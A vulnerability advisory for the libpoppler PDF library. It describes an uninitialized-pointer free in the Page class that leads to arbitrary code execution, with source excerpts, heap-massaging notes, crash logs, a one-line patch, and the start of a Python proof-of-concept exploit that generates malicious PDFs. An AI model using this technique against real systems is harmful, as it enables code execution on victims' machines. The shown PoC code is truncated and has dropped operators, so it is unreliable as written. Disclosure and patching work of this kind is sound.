Poppler

##########################################################################
#### Felipe Andres Manzano * fmanzano@fceia.unr.edu.ar ####
#### updates in http://felipe.andres.manzano.googlepages.com/home ####
##########################################################################
'''


Sumary:
=======

The libpoppler pdf rendering library, can free uninitialized pointers,
leading to arbitrary code execution. This vulnerability results from
memory management bugs in the Page class constructor/destructor.


Technical Description - Exploit/Concept Code:
=============================================

Tests were performed using libpoppler util pdftotext taken from
git://git.freedesktop.org/git/poppler/poppler.
Other version where tried succesfully (the ones shiped with
debian/gentoo).

In the initialization of a Page object and under certain conditions a
member object skips initialization, but then is eventualy deleted. This
can be conducted to the situation in which an arbitrary pointer is
passed to the libc free and so the it gets apropiate for the malloc
maleficarum to enter the scene.

Look at the Page class constructor on Page.cc:231. First at the begining
of the function the member object pageWidgets isnt initialized then it
tries to check if the type of the annotations proposed on the pdf file
ar correct; if not it bails out to the label err2. Note that is some
incorcondance on the type of the anotation arise the member variable
pageWidgets is never initialized!

Page::Page(XRef *xrefA, int numA, Dict *pageDict, PageAttrs *attrsA, Form *form) {
Object tmp;
[...]
// annotations
pageDict->lookupNF("Annots", &annots);
if (!(annots.isRef() || annots.isArray() || annots.isNull())) {
error(-1, "Page annotations object (page %d) is wrong type (%s)",
num, annots.getTypeName());
annots.free();
goto err2;
}

// forms
pageWidgets = new FormPageWidgets(xrefA, this->getAnnots(&tmp),num,form);
tmp.free();
[...]
err2:
annots.initNull();
err1:
contents.initNull();
ok = gFalse;
}

But in the Page class destructor, Page.cc:309, pageWidgets is deleted
without any consideration. The Page destructor is inmediatelly called
after the erroneous Page construction.

Page::~Page() {
delete pageWidgets;
delete attrs;
annots.free();
contents.free();
}


It is worth mentioning that the pdf rendering scenario is friendly with
the heap massage technics because you will find lots of ways to allocate
or allocate/free memory in the already probided functionality. In the
POC I have used repetidely the 'name' of the fields of a pdf dictionary
to allocate memory. Each name allocates up to 127bytes and apparently
there is no limit in the number of fields.


The following excerpt is a sample verification of the existence of
the problem :

localhost expl-poppler # python poppler-exploit-rc8.py gentoo-pdftotext >test.pdf
localhost expl-poppler # pdftotext test.pdf
Error: PDF file is damaged - attempting to reconstruct xref table...
Error: Annotation rectangle is wrong type
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Page annotations object (page 3) is wrong type (integer)
Error: Page count in top-level pages object is incorrect
Error: Couldnt read page catalog
Trace/breakpoint trap

:)


Further research should be done to accomodate the heap for other applications like evince:
localhost expl-poppler # evince test.pdf

(evince:8912): GnomeUI-WARNING **: While connecting to session manager:
Authentication Rejected, reason : None of the authentication protocols specified are supported and host-based authentication failed.

** (evince:8912): WARNING **: Service registration failed.

** (evince:8912): WARNING **: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
Error: PDF file is damaged - attempting to reconstruct xref table...
Error: Annotation rectangle is wrong type
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Page annotations object (page 3) is wrong type (integer)
*** glibc detected *** evince: munmap_chunk(): invalid pointer: 0x08100468 ***

Note that 0x08100468 is still a provided pointer. But in this try some
malloc structure like _heap_info (see. house of mind) is not correctly
aligned any more. Maybe evince-thumbnailer which is (probably
monothreaded) is an easier target.


Patch
=====

diff --git a/poppler/Page.cc b/poppler/Page.cc
index b28a3ee..72a706b 100644
--- a/poppler/Page.cc
b/poppler/Page.cc
@@ -230,7 230,7 @@ GBool PageAttrs::readBox(Dict *dict, char *key, PDFRectangle *box) {

Page::Page(XRef *xrefA, int numA, Dict *pageDict, PageAttrs *attrsA, Form *form) {
Object tmp;
-
pageWidgets = NULL; //Security fix
ok = gTrue;
xref = xrefA;
num = numA;


POC:
===

Written in pyploit. It can be used 2 ways , one selecting a preconfigured
target like *gentoo-pdftotext* or the other in which you could pass some
malloc/free execution trace moddifing parameters.

'''

import struct
import struct
import math
import os

import sys

## print "%.400f"%d wont work :( ... so a quick double printing class
class Doubles:
def __init__(self, precision=400):
self.precision=precision

def pdficateint(self,i1,i2):
s = struct.pack("@L",i1) struct.pack("@L",i2)
return self.pdficatestr(s)

def pdficate(self,s):
rslt = " "
for pos in range (0,len(s)/8):
rslt =self.pdficatestr(s[(pos*8):(pos*8) 8]) " "
return rslt;

def pdficatestr(self, s):
d = struct.unpack("d",s)[0]
rslt=" "
if(d<0.0):
rslt ="-"
d=-d
rslt ="%d."%int(math.floor(d))
myd=math.floor(d)
scale=0.1
nines=0
for p in range(1,self.precision):
for i in range(1,10):
if (myd scale*i) > d:
i-=1
break
if i==9:
if nines>6:
return rslt
else: